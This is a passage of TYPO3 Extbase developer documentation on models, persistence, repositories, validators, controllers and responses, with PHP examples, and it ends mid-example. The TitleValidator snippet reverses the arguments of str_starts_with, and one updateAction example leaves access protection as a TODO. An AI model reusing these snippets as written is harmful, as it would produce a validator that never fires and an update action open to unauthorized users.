By default, Extbase loads all child objects with the parent object (so for example, all posts of a blog). This behavior is called eager loading. The annotation @TYPO3\CMS\Extbase\Annotation\ORM\Lazy causes Extbase to load and build the objects only when they are actually needed (lazy loading). This can lead to a significant increase in performance.

On cascade remove

The annotation @TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove") has the effect that, if a blog is deleted, its posts will also be deleted immediately. Extbase usually leaves all child objects' persistence unchanged.

Besides these two, there are a few more annotations available, which will be used in other contexts. For the complete list of all Extbase supported annotations, see the chapter Annotations.

Identifiers in localized models

Domain models have a main identifier uid and an additional property _localizedUid.

Depending on whether the languageOverlayMode mode is enabled ( true or 'hideNonTranslated') or disabled ( false), the identifier contains different values.

When languageOverlayMode is enabled, then the uid property contains the uid value of the default language record, the uid of the translated record is kept in the _localizedUid.

Context Record in language 0 Translated record
Database uid:2 uid:11, l10n_parent:2
Domain object values with languageOverlayMode enabled uid:2, _localizedUid:2 uid:2, _localizedUid:11
Domain object values with languageOverlayMode disabled uid:2, _localizedUid:2 uid:11, _localizedUid:11

Persistence

It is possible to define models that are not persisted to the database. However, in the most common use cases you will want to save your model to the database and load it from there.

Connecting the model to the database

The SQL structure for the database needs to be defined in the file EXT:{ext_key}/ext_tables.sql. An Extbase model requires a valid TCA for the table that should be used as a base for the model. Therefore you have to create a TCA definition in file EXT:{ext_key}/Configuration/TCA/tx_{extkey}_domain_model_{mymodel}.php.

It is recommended to stick to the following naming scheme for the table:

Recommended naming scheme for table names
tx_{extkey}_domain_model_{mymodel}

tx_blogexample_domain_model_info
Copied!

The SQL table for the model can be defined like this:

EXT:blog_example/ext_tables.sql
CREATE TABLE tx_blogexample_domain_model_info (
   name varchar(255) DEFAULT '' NOT NULL,
   post int(11) DEFAULT '0' NOT NULL
);
Copied!

The according TCA definition could look like that:

EXT:blog_example/Configuration/TCA/tx_blogexample_domain_model_info.php
<?php

return [
    'ctrl' => [
        'title' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info',
        'label' => 'name',
        'tstamp' => 'tstamp',
        'crdate' => 'crdate',
        'versioningWS' => true,
        'transOrigPointerField' => 'l10n_parent',
        'transOrigDiffSourceField' => 'l10n_diffsource',
        'languageField' => 'sys_language_uid',
        'translationSource' => 'l10n_source',
        'origUid' => 't3_origuid',
        'delete' => 'deleted',
        'sortby' => 'sorting',
        'enablecolumns' => [
            'disabled' => 'hidden',
        ],
        'iconfile' => 'EXT:blog_example/Resources/Public/Icons/icon_tx_blogexample_domain_model_tag.gif',
    ],
    'columns' => [
        'name' => [
            'label' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info.name',
            'config' => [
                'type' => 'input',
                'size' => 20,
                'eval' => 'trim',
                'required' => true,
                'max' => 256,
            ],
        ],
        'bodytext' => [
            'label' => 'LLL:EXT:blog_example/Resources/Private/Language/locallang_db.xlf:tx_blogexample_domain_model_info.bodytext',
            'config' => [
                'type' => 'text',
                'enableRichtext' => true,
            ],
        ],
        'post' => [
            'config' => [
                'type' => 'passthrough',
            ],
        ],
        'sys_language_uid' => [
            'exclude' => true,
            'label' => 'LLL:EXT:core/Resources/Private/Language/locallang_general.xlf:LGL.language',
            'config' => [
                'type' => 'language',
            ],
        ],
        'l10n_parent' => [
            'displayCond' => 'FIELD:sys_language_uid:>:0',
            'label' => 'LLL:EXT:core/Resources/Private/Language/locallang_general.xlf:LGL.l18n_parent',
            'config' => [
                'type' => 'select',
                'renderType' => 'selectSingle',
                'items' => [
                    [
                        '',
                        0,
                    ],
                ],
                'foreign_table' => 'tx_blogexample_domain_model_info',
                'foreign_table_where' =>
                    'AND {#tx_blogexample_domain_model_info}.{#pid}=###CURRENT_PID###'
                    . ' AND {#tx_blogexample_domain_model_info}.{#sys_language_uid} IN (-1,0)',
                'default' => 0,
            ],
        ],
        'l10n_source' => [
            'config' => [
                'type' => 'passthrough',
            ],
        ],
        'l10n_diffsource' => [
            'config' => [
                'type' => 'passthrough',
                'default' => '',
            ],
        ],
        't3ver_label' => [
            'displayCond' => 'FIELD:t3ver_label:REQ:true',
            'label' => 'LLL:EXT:core/Resources/Private/Language/locallang_general.xlf:LGL.versionLabel',
            'config' => [
                'type' => 'none',
            ],
        ],
        'hidden' => [
            'exclude' => true,
            'label' => 'LLL:EXT:core/Resources/Private/Language/locallang_general.xlf:LGL.enabled',
            'config' => [
                'type' => 'check',
                'renderType' => 'checkboxToggle',
                'items' => [
                    [
                        0 => '',
                        1 => '',
                        'invertStateDisplay' => true,
                    ],
                ],
            ],
        ],
    ],
    'types' => [
        0 => ['showitem' => 'sys_language_uid, l10n_parent, hidden, name, bodytext'],
    ],
];
Copied!

Use arbitrary database tables with an Extbase model

It is possible to use tables that do not convey to the naming scheme mentioned in the last section. In this case you have to define the connection between the database table and the file EXT:{ext_key}/Configuration/Extbase/Persistence/Classes.php.

In the following example, the table fe_users provided by the system extension frontend is used as persistence table for the model Administrator. Additionally the table fe_groups is used to persist the model FrontendUserGroup.

EXT:blog_example/Configuration/Extbase/Persistence/Classes.php
<?php

declare(strict_types=1);

return [
    \FriendsOfTYPO3\BlogExample\Domain\Model\Administrator::class => [
        'tableName' => 'fe_users',
        'recordType' => \FriendsOfTYPO3\BlogExample\Domain\Model\Administrator::class,
        'properties' => [
            'administratorName' => [
                'fieldName' => 'username',
            ],
        ],
    ],
    \FriendsOfTYPO3\BlogExample\Domain\Model\FrontendUserGroup::class => [
        'tableName' => 'fe_groups',
    ],
];
Copied!

The key recordType makes sure that the defined model is only used if the type of the record is set to \FriendsOfTYPO3\BlogExample\Domain\Model\Administrator. This way the class will only be used for administrators but not plain frontend users.

The array stored in properties to match properties to database field names if the names do not match.

Record types and persistence

It is possible to use different models for the same database table.

A common use case are related domain objects that share common features and should be handled by hierarchical model classes.

In this case the type of the model is stored in a field in the table, commonly in a field called record_type. This field is then registered as type field in the ctrl section of the TCA array:

EXT:my_extension/Configuration/TCA/tx_myextension_domain_model_something.php
return [
    'ctrl' => [
        'title' => 'Something',
        'label' => 'title',
        'type' => 'record_type',
        // …
    ],
];
Copied!

The relationship between record type and preferred model is then configured in the Configuration/Extbase/Persistence/Classes.php file.

EXT:my_extension/Configuration/Extbase/Persistence/Classes.php
return [
    \MyVendor\MyExtension\Domain\Model\Something::class => [
        'tableName' => 'tx_myextension_domain_model_party',
        'recordType' => 'something',
        'subclasses' => [
            'oneSubClass' => \MyVendor\MyExtension\Domain\Model\SubClass1::class,
            'anotherSubClass' => MyVendor\MyExtension\Domain\Model\SubClass2::class,
        ],
    ],
];
Copied!

It is then possible to have a general repository, SomethingRepository which returns both SubClass1 and SubClass2 objects depending on the value of the record_type field. This way related domain objects can as one in some contexts.

Create a custom model for a Core table

This example adds a custom model for the tt_content table. Three steps are required:

  1. Create a model

    In this example, we assume that we need the two fields header and bodytext, so only these two fields are available in the model class.

    EXT:my_extension/Classes/Domain/Model/Content.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Model;
    
    use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
    
    class Content extends AbstractEntity
    {
        protected string $header = '';
        protected string $bodytext = '';
    
        public function getHeader(): string
        {
            return $this->header;
        }
    
        public function setHeader(string $header): void
        {
            $this->header = $header;
        }
    
        public function getBodytext(): string
        {
            return $this->bodytext;
        }
    
        public function setBodytext(string $bodytext): void
        {
            $this->bodytext = $bodytext;
        }
    }
    
    Copied!
  2. Create the repository

    We need a repository to query the data from the table:

    EXT:my_extension/Classes/Domain/Repository/ContentRepository.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Repository;
    
    use TYPO3\CMS\Extbase\Persistence\Repository;
    
    final class ContentRepository extends Repository
    {
    }
    
    Copied!
  3. Connect table with model

    Finally, we need to connect the table to the model:

    EXT:my_extension/Configuration/Extbase/Persistence/Classes.php
    <?php
    
    declare(strict_types=1);
    
    return [
        \MyVendor\MyExtension\Domain\Model\Content::class => [
            'tableName' => 'tt_content',
        ],
    ];
    
    Copied!

Events

Some PSR-14 events are available:

Repository

All Extbase repositories inherit from \TYPO3\CMS\Extbase\Persistence\Repository .

A repository is always responsible for precisely one type of domain object.

The naming of the repositories is important: If the domain object is, for example, Blog (with full name \FriendsOfTYPO3\BlogExample\Domain\Model\Blog), then the corresponding repository is named BlogRepository (with the full name \FriendsOfTYPO3\BlogExample\Domain\Repository\BlogRepository).

The \TYPO3\CMS\Extbase\Persistence\Repository already offers a large number of useful functions. Therefore, in simple classes that extend the Repository class and leaving the class empty otherwise is sufficient.

The BlogRepository sets some default orderings and is otherwise empty:

EXT:blog_example/Classes/Domain/Repository/BlogRepository.php
class BlogRepository extends Repository
{

}
Copied!

Magic find methods

The Repository class creates "magic" methods to find by attributes of model.

findBy[Property]
Finds all objects with the provided property.
findOneBy[Property]
Returns the first object found with the provided property.
countBy[Property]
Counts all objects with the provided property.

If necessary, these methods can also be overridden by implementing them in the concrete repository.

Custom find methods

Custom find methods can be implemented. They can be used, for example, to filter by multiple properties or apply a different sorting. They can also be used for complex queries.

Example:

The PostRepository of the EXT:blog example extension implements several custom find methods, two of them are shown below:

EXT:blog_example/Classes/Domain/Repository/PostRepository.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Persistence\QueryInterface;
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;

class PostRepository extends Repository
{
    public function findByTagAndBlog(
        string $tag,
        Blog $blog
    ): QueryResultInterface {
        $query = $this->createQuery();
        return $query
            ->matching(
                $query->logicalAnd(
                    $query->equals('blog', $blog),
                    $query->equals('tags.name', $tag)
                )
            )
            ->execute();
    }

    public function findAllSortedByCategory(array $uids): QueryResultInterface
    {
        $q = $this->createQuery();
        $q->matching($q->in('uid', $uids));
        $q->setOrderings([
            'categories.title' => QueryInterface::ORDER_ASCENDING,
            'uid' => QueryInterface::ORDER_ASCENDING,
        ]);
        return $q->execute();
    }
}
Copied!

Query settings

If the query settings should be used for all methods in the repository, they should be set in the method initializeObject() method.

EXT:blog_example/Classes/Domain/Repository/CommentRepository.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Extbase\Persistence\Generic\QuerySettingsInterface;
use TYPO3\CMS\Extbase\Persistence\Generic\Typo3QuerySettings;

class CommentRepository extends Repository
{
    public function initializeObject()
    {
        /** @var QuerySettingsInterface $querySettings */
        $querySettings = GeneralUtility::makeInstance(Typo3QuerySettings::class);
        // Show comments from all pages
        $querySettings->setRespectStoragePage(false);
        $this->setDefaultQuerySettings($querySettings);
    }
}
Copied!

If you only want to change the query settings for a specific method, they can be set in the method itself:

EXT:blog_example/Classes/Domain/Repository/CommentRepository.php
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;

class CommentRepository extends Repository
{
    public function findAllIgnoreEnableFields(): QueryResultInterface|array
    {
        $query = $this->createQuery();
        $query->getQuerySettings()->setIgnoreEnableFields(true);
        return $query->execute();
    }
}
Copied!

Repository API

class Repository
Fully qualified name
\TYPO3\CMS\Extbase\Persistence\Repository

The base repository - will usually be extended by a more concrete repository.

injectPersistenceManager ( )
add ( object $object)

Adds an object to this repository

param object $object

The object to add

remove ( object $object)

Removes an object from this repository.

param object $object

The object to remove

update ( object $modifiedObject)

Replaces an existing object with the same identifier by the given object

param object $modifiedObject

The modified object

findAll ( )

Returns all objects of this repository.

countAll ( )

Returns the total number objects of this repository.

removeAll ( )

Removes all objects of this repository as if remove() was called for all of them.

findByUid ( int $uid)

Finds an object matching the given identifier.

param int $uid

The identifier of the object to find

findByIdentifier ( mixed $identifier)

Finds an object matching the given identifier.

param mixed $identifier

The identifier of the object to find

setDefaultOrderings ( array<non-empty-string, QueryInterface::ORDER_*>)

Sets the property names to order the result by per default.

Expected like this: array( 'foo' => TYPO3CMSExtbasePersistenceQueryInterface::ORDER_ASCENDING, 'bar' => TYPO3CMSExtbasePersistenceQueryInterface::ORDER_DESCENDING )

:param array<non-empty-string, QueryInterface::ORDER_*>: $defaultOrderings The property names to order by

setDefaultQuerySettings ( TYPO3\\CMS\\Extbase\\Persistence\\Generic\\QuerySettingsInterface defaultQuerySettings)

Sets the default query settings to be used in this repository.

A typical use case is an initializeObject() method that creates a QuerySettingsInterface object, configures it and sets it to be used for all queries created by the repository.

Warning: Using this setter fully overrides native query settings created by QueryFactory->create(). This especially means that storagePid settings from configuration are not applied anymore, if not explicitly set. Make sure to apply these to your own QuerySettingsInterface object if needed, when using this method.

param TYPO3\\CMS\\Extbase\\Persistence\\Generic\\QuerySettingsInterface $defaultQuerySettings

the defaultQuerySettings

createQuery ( )

Returns a query for objects of this repository

__call ( non-empty-string $methodName, array<int, mixed> $arguments)

Dispatches magic methods (findBy[Property]())

param non-empty-string $methodName

The name of the magic method

param array<int,mixed> $arguments

The arguments of the magic method

Typo3QuerySettings and localization

Extbase renders the translated records in the same way as TypoScript rendering.

Changed in version 11.0

Setting Typo3QuerySettings->languageMode was deprecated and does not influence how Extbase queries records.

Typo3QuerySettings->languageOverlayMode = true

Setting Typo3QuerySettings->languageOverlayMode to true will fetch records from the default language and overlay them with translated values. If a record is hidden in the default language, it will not be displayed in the translation. Also, records without translation parents will not be shown.

For relations, Extbase reads relations from a translated record (so it is not possible to inherit a field value from translation source) and then passes the related records through $pageRepository->getRecordOverlay().

For example: when you have a translated tt_content record with a FAL relation, Extbase will show only those sys_file_reference records which are connected to the translated record (not caring whether some of these files have l10n_parent set).

Typo3QuerySettings->languageOverlayMode = false

Setting Typo3QuerySettings->languageOverlayMode to false will fetch aggregate root records from a given language only.

Extbase will follow relations (child records) as they are, without checking their sys_language_uid fields, and then pass these records through $pageRepository->getRecordOverlay().

This way, the aggregate root record's sorting and visibility do not depend on the default language records.

Moreover, the relations of a record, which are often stored using default language uids are translated in the final result set (so overlay happens).

Example: Given a translated tt_content record having a relation to two categories (in the mm table the translated tt_content record is connected to the category uid in the default language), and one of the categories is translated. Extbase will return a tt_content model with both categories.

If you want just the translated category to be shown, remove the relation in the translated tt_content record in the TYPO3 backend.

Setting the Typo3QuerySettings->languageOverlayMode

Setting setLanguageOverlayMode() on a query influences only fetching of the aggregate root. Relations are always fetched with setLanguageOverlayMode(true).

When querying data in translated language, and having setLanguageOverlayMode(true), the relations (child objects) are overlaid even if the aggregate root is not translated.

$repository->findByUid() and language overlay modes

$repository->findByUid() internally sets respectSysLanguage(false).

Therefore it behaves differently than a regular query by uid.

The bottom line is you can use $repository->findByUid() with the translated record uid to get the translated content, independently of the language set in the global context.

Debugging an Extbase query

When using complex queries in Extbase repositories it sometimes comes handy to debug them using the Extbase debug utilities.

EXT:my_extension/Classes/Repository/MyRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Extbase\Persistence\Generic\Storage\Typo3DbQueryParser;
use TYPO3\CMS\Extbase\Persistence\QueryResultInterface;
use TYPO3\CMS\Extbase\Persistence\Repository;
use TYPO3\CMS\Extbase\Utility\DebuggerUtility;

final class MyRepository extends Repository
{
    public function findBySomething(string $something, bool $debugOn = false): QueryResultInterface
    {
        $query = $this->createQuery();
        $query = $query->matching($query->equals('some_field', $something));

        if ($debugOn) {
            $typo3DbQueryParser = GeneralUtility::makeInstance(Typo3DbQueryParser::class);
            $queryBuilder = $typo3DbQueryParser->convertQueryToDoctrineQueryBuilder($query);
            DebuggerUtility::var_dump($queryBuilder->getSQL());
            DebuggerUtility::var_dump($queryBuilder->getParameters());
        }

        return $query->execute();
    }
}
Copied!

Please note that \TYPO3\CMS\Extbase\Persistence\Generic\Storage\Typo3DbQueryParser is marked as @internal and subject to unannounced changes.

Validator

Custom validators are located in the directory Classes/Domain/Validator and therefore in the namespace \Vendor\MyExtension\Domain\Validator.

All validators extend the AbstractValidator ( \TYPO3\CMS\Extbase\Validation\Validator\AbstractValidator ).

Custom validator for a property of the domain model

When the standard validators provided by Extbase are not sufficient you can write a custom validators to use on the property of a domain model:

EXT:blog_example/Classes/Domain/Validator/TitleValidator.php
final class TitleValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        // $value is the title string
        if (str_starts_with('_', $value)) {
            $errorString = 'The title may not start with an underscore. ';
            $this->addError($errorString, 1297418976);
        }
    }
}
Copied!

The method isValid() does not return a value. In case of an error it adds an error to the validation result by calling method addError(). The long number added as second parameter of this function is the current UNIX time in the moment the error message was first introduced. This way all errors can be uniquely identified.

This validator can be used for any string property of model now by including it in the annotation of that parameter:

EXT:blog_example/Classes/Domain/Model/Blog.php
use TYPO3\CMS\Extbase\Annotation\Validate;

class Blog extends AbstractEntity
{
    /**
     * @Validate("FriendsOfTYPO3\BlogExample\Domain\Validator\TitleValidator")
     */
    public string $title = '';
}
Copied!

Complete domain model validation

At certain times in the life cycle of a model it can be necessary to validate the complete domain model. This is usually done before calling a certain action that will persist the object.

EXT:blog_example/Classes/Domain/Validator/BlogValidator.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

final class BlogValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        if (!$value instanceof Blog) {
            $errorString = 'The blog validator can only handle classes '
                . 'of type FriendsOfTYPO3\BlogExample\Domain\Validator\Blog. '
                . $value::class . ' given instead.';
            $this->addError($errorString, 1297418975);
        }
        if ($value->getCategories()->count() > 3) {
            $errorString = LocalizationUtility::translate(
                'error.Blog.tooManyCategories',
                'BlogExample'
            );
            // Add the error to the property if it is specific to one property
            $this->addErrorForProperty('categories', $errorString, 1297418976);
        }
        if (strtolower($value->getTitle()) === strtolower($value->getSubtitle())) {
            $errorString = LocalizationUtility::translate(
                'error.Blog.invalidSubTitle',
                'BlogExample'
            );
            // Add the error directly if it takes several properties into account
            $this->addError($errorString, 1297418974);
        }
    }
}
Copied!

If the error is related to a specific property of the domain object, the function addErrorForProperty() should be used instead of addError().

The validator is used as annotation in the action methods of the controller:

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use FriendsOfTYPO3\BlogExample\Exception\NoBlogAdminAccessException;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Annotation\Validate;

class BlogController extends AbstractController
{
    /**
     * Updates an existing blog
     *
     * $blog is a not yet persisted clone of the original blog containing
     * the modifications
     *
     * @Validate(param="blog", validator="FriendsOfTYPO3\BlogExample\Domain\Validator\BlogValidator")
     * @throws NoBlogAdminAccessException
     */
    public function updateAction(Blog $blog): ResponseInterface
    {
        $this->checkBlogAdminAccess();
        $this->blogRepository->update($blog);
        $this->addFlashMessage('updated');
        return $this->redirect('index');
    }
}
Copied!

Controller

Contents:

ActionController

Most Extbase controllers are based on the \TYPO3\CMS\Extbase\Mvc\Controller\ActionController . It is theoretically possible to base a controller directly on the \TYPO3\CMS\Extbase\Mvc\Controller\ControllerInterface , however there are rarely use cases for that. Implementing the ControllerInterface does not guarantee a controller to be dispatchable. It is not recommended to base your controller directly on the ControllerInterface.

Actions

Most public and protected methods that end in "Action" (for example indexAction() or showAction()), are automatically registered as actions of the controller.

Changed in version 11.0

To comply with PSR standards, controller actions should return an instance of the \Psr\Http\Message\ResponseInterface . This becomes mandatory with TYPO3 12.0.

Many of these actions have parameters. You should use strong types for the parameters as this is necessary for the validation.

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use TYPO3\CMS\Extbase\Annotation\IgnoreValidation;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     *
     * @IgnoreValidation("newBlog")
     */
    public function newAction(?Blog $newBlog = null): void
    {
        $this->view->assign('newBlog', $newBlog);
        $this->view->assign('administrators', $this->administratorRepository->findAll());
    }
}
Copied!

The validation of domain object can be explicitly disabled by the annotation @TYPO3\CMS\Extbase\Annotation\IgnoreValidation. This might be necessary in actions that show forms or create domain objects.

Default values can, as usual in PHP, just be indicated in the method signature. In the above case, the default value of the parameter $newBlog is set to NULL.

If the action should render the view you can return $this->htmlResponse() as a shortcut for taking care of creating the response yourself.

In order to redirect to another action, return $this->redirect('another'):

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;

class BlogController extends AbstractController
{
    /**
     * Updates an existing blog
     *
     * @param Blog $blog A not yet persisted clone of the original blog containing the modifications
     */
    public function updateAction(Blog $blog): void
    {
        // TODO access protection
        $this->blogRepository->update($blog);
        $this->addFlashMessage('updated');
        $this->redirect('index');
    }
}
Copied!

If an exception is thrown while an action is executed you will receive the "Oops an error occurred" screen on a production system or a stack trace on a development system with activated debugging.

Define initialization code

Sometimes it is necessary to execute code before calling an action. For example, if complex arguments must be registered, or required classes must be instantiated.

There is a generic initialization method called initializeAction(), which is called after the registration of arguments, but before calling the appropriate action method itself. After the generic initializeAction(), if it exists, a method named initialize[ActionName](), for example initializeShowAction is called.

In this method you can perform action specific initializations.

In the backend controller of the blog example the method initializeAction() is used to discover the page that is currently activated in the page tree and save it in a variable:

EXT:blog_example/Classes/Controller/BackendController.php
class BackendController extends ActionController
{
    protected function initializeAction()
    {
        $this->pageUid = (int)($this->request->getQueryParams()['id'] ?? 0);
        parent::initializeAction();
    }
}
Copied!

Catching validation errors with errorAction

If an argument validation error has occurred, the method errorAction() is called.

The default implementation sets a flash message, error response with HTTP status 400 and forwards back to the originating action.

This is suitable for most actions dealing with form input.

If you need a to handle errors differently this method can be overridden.

Forward to a different controller

It is possible to forward from one controller action to an action of the same or a different controller. This is even possible if the controller is in another extension.

This can be done by returning a \TYPO3\CMS\Extbase\Http\ForwardResponse .

In the following example, if the current blog is not found in the index action of the PostController, we follow to the list of blogs displayed by the indexAction of the BlogController.

EXT:blog_example/Classes/Controller/PostController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Pagination\SimplePagination;
use TYPO3\CMS\Extbase\Http\ForwardResponse;
use TYPO3\CMS\Extbase\Pagination\QueryResultPaginator;

class PostController extends \FriendsOfTYPO3\BlogExample\Controller\AbstractController
{
    /**
     * Displays a list of posts. If $tag is set only posts matching this tag are shown
     */
    public function indexAction(
        ?Blog $blog = null,
        string $tag = '',
        int $currentPage = 1
    ): ResponseInterface {
        if ($blog == null) {
            return (new ForwardResponse('index'))
                ->withControllerName(('Blog'))
                ->withExtensionName('blog_example')
                ->withArguments(['currentPage' => $currentPage]);
        }
        if (empty($tag)) {
            $posts = $this->postRepository->findByBlog($blog);
        } else {
            $tag = urldecode($tag);
            $posts = $this->postRepository->findByTagAndBlog($tag, $blog);
            $this->view->assign('tag', $tag);
        }
        $paginator = new QueryResultPaginator($posts, $currentPage, 3);
        $pagination = new SimplePagination($paginator);
        $this->view
            ->assign('paginator', $paginator)
            ->assign('pagination', $pagination)
            ->assign('pages', range(1, $pagination->getLastPageNumber()))
            ->assign('blog', $blog)
            ->assign('posts', $posts);
        return $this->htmlResponse();
    }
}
Copied!

Stop further processing in a controller's action

Sometimes you may want to use an Extbase controller action to return a specific output, and then stop the whole request flow.

For example, a downloadAction() might provide some binary data, and should then stop.

By default, Extbase actions need to return an object of type \Psr\Http\Message\ResponseInterface as described above. The actions are chained into the TYPO3 request flow (via the page renderer), so the returned object will be enriched by further processing of TYPO3. Most importantly, the usual layout of your website will be surrounded by your Extbase action's returned contents, and other plugin outputs may come before and after that.

In a download action, this would be unwanted content. To prevent that from happening, you have multiple options. While you might think placing a die() or exit() after your download action processing is a good way, it is not very clean.

The recommended way to deal with this, is to use a PSR-15 middleware implementation. This is more performant, because all other request workflows do not even need to be executed, because no other plugin on the same page needs to be rendered. You would refactor your code so that downloadAction() is not executed (e.g. via <f:form.action>), but instead point to your middleware routing URI, let the middleware properly create output, and finally stop its processing by a concrete \Psr\Http\Message\ResponseFactoryInterface result object, as described in the Middleware chapters.

If there are still reasons for you to utilize Extbase for this, you can use a special method to stop the request workflow. In such a case a \TYPO3\CMS\Core\Http\PropagateResponseException can be thrown. This is automatically caught by a PSR-15 middleware and the given PSR-7 response is then returned directly.

Example:

EXT:my_extension/Classes/Controller/MyController.php
<?php

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Http\PropagateResponseException;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function downloadAction(): ResponseInterface
    {
        // ... do something (set $filename, $filePath, ...)

        $response = $this->responseFactory->createResponse()
            // Must not be cached by a shared cache, such as a proxy server
            ->withHeader('Cache-Control', 'private')
            // Should be downloaded with the given filename
            ->withHeader('Content-Disposition', sprintf('attachment; filename="%s"', $filename))
            ->withHeader('Content-Length', (string)filesize($filePath))
            // It is a PDF file we provide as a download
            ->withHeader('Content-Type', 'application/pdf')
            ->withBody($this->streamFactory->createStreamFromFile($filePath));

        throw new PropagateResponseException($response, 200);
    }
}
Copied!

Also, if your controller needs to perform a redirect to a defined URI (internal or external), you can return a specific object through the responseFactory:

EXT:my_extension/Classes/Controller/MyController.php
<?php

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    public function redirectAction(): ResponseInterface
    {
        // ... do something (set $value, ...)

        $uri = $this->uriBuilder->uriFor('show', ['parameter' => $value]);

        // $uri could also be https://example.com/any/uri
        // $this->resourceFactory is injected as part of the `ActionController` inheritance
        return $this->responseFactory->createResponse(307)
            ->withHeader('Location', $uri);
    }
}
Copied!

Events

Two PSR-14 events are available:

Error action

Extbase offers an out of the box handling for errors. Errors might occur during the mapping of incoming action arguments. For example, an argument can not be mapped or validation did not pass.

How it works

  1. Extbase will try to map all arguments within ActionController. During this process arguments will also be validated.
  2. If an error occurred, the class will call the $this->errorMethodName instead of determined $this->actionMethodName.
  3. The default is to call errorAction() which will:

    1. Clear cache in case persistence.enableAutomaticCacheClearing is activated and current scope is frontend.
    2. Add an error Flash Message by calling addErrorFlashMessage(). It will in turn call getErrorFlashMessage() to retrieve the message to show.
    3. Return the user to the referring request URL. If no referrer exists, a plain text message will be displayed, fetched from getFlattenedValidationErrorMessage().

Type converters

Type converters are commonly used when it is necessary to convert from one type into another. They are usually applied in the Extbase controller in the initialize<actionName>Action() method.

For example a date might be given as string in some language, "October 7th, 2022" or as UNIX time stamp: 1665159559. Your action method, however, expects a \DateTime object. Extbase tries to match the data coming from the frontend automatically.

When matching the data formats is expected to fail you can use one of the type converters provided by Extbase or implement a type converter yourself by implementing the interface \TYPO3\CMS\Extbase\Property\TypeConverterInterface .

You can find the type converters provided by Extbase in the directory EXT:extbase/Classes/Property/TypeConverter.

Custom type converters

A custom type converter must implement the interface \TYPO3\CMS\Extbase\Property\TypeConverterInterface . In most use cases it will extend the abstract class \TYPO3\CMS\Extbase\Property\TypeConverter\AbstractTypeConverter , which already implements this interface.

All type converters should have no internal state, such that they can be used as singletons and multiple times in succession.

The registration and configuration of a type converter is done in the extension's ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\TypeConverter\MyDatetimeConverter;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

defined('TYPO3') or die();

// Starting  with TYPO3 v12 extbase type converters are registered in
// Configuration/Services.yaml
if ((new \TYPO3\CMS\Core\Information\Typo3Version())->getMajorVersion() < 12)
{
    // Register type converters
    ExtensionUtility::registerTypeConverter(MyDatetimeConverter::class);
}
Copied!

View

The result of an action or a chain of actions is usually a view where output, most often as HTML is displayed to the user.

The action, located in the controller returns a ResponseInterface ( \Psr\Http\Message\ResponseInterface ) which contains the result of the view. The view, property $view of type ViewInterface ( \TYPO3Fluid\Fluid\View\ViewInterface ).

In the most common case it is sufficient to just set some variables on the $view and return $this->htmlResponse():

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Annotation\IgnoreValidation;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     *
     * @IgnoreValidation("newBlog")
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assign('newBlog', $newBlog);
        $this->view->assign(
            'administrators',
            $this->administratorRepository->findAll()
        );
        return $this->htmlResponse();
    }
}
Copied!

Read more in the section Responses.

View configuration

The view can be configured with TypoScript:

EXT:blog_example/Configuration/TypoScript/setup.typoscript
plugin.tx_blogexample {
  view {
    templateRootPaths.10 = {$plugin.tx_blogexample.view.templateRootPath}
    partialRootPaths.10 = {$plugin.tx_blogexample.view.partialRootPath}
    layoutRootPaths.10 = {$plugin.tx_blogexample.view.layoutRootPath}
    defaultPid = auto
  }
}
Copied!

Responses

HTML response

In the most common case it is sufficient to just set some variables on the $view and return $this->htmlResponse(). The Fluid templates will then configure the rendering:

EXT:blog_example/Classes/Controller/BlogController.php
use FriendsOfTYPO3\BlogExample\Domain\Model\Blog;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Annotation\IgnoreValidation;

class BlogController extends AbstractController
{
    /**
     * Displays a form for creating a new blog
     *
     * @IgnoreValidation("newBlog")
     */
    public function newAction(?Blog $newBlog = null): ResponseInterface
    {
        $this->view->assign('newBlog', $newBlog);
        $this->view->assign(
            'administrators',
            $this->administratorRepository->findAll()
        );
        return $this->htmlResponse();
    }
}
Copied!

It is also possible to directly pass a HTML string to the function htmlResponse(). This way other templating engines but Fluid can be used:

EXT:blog_example/Classes/Controller/BlogController.php
use Psr\Http\Message\ResponseInterface;

class BlogController extends AbstractController
{
    /**
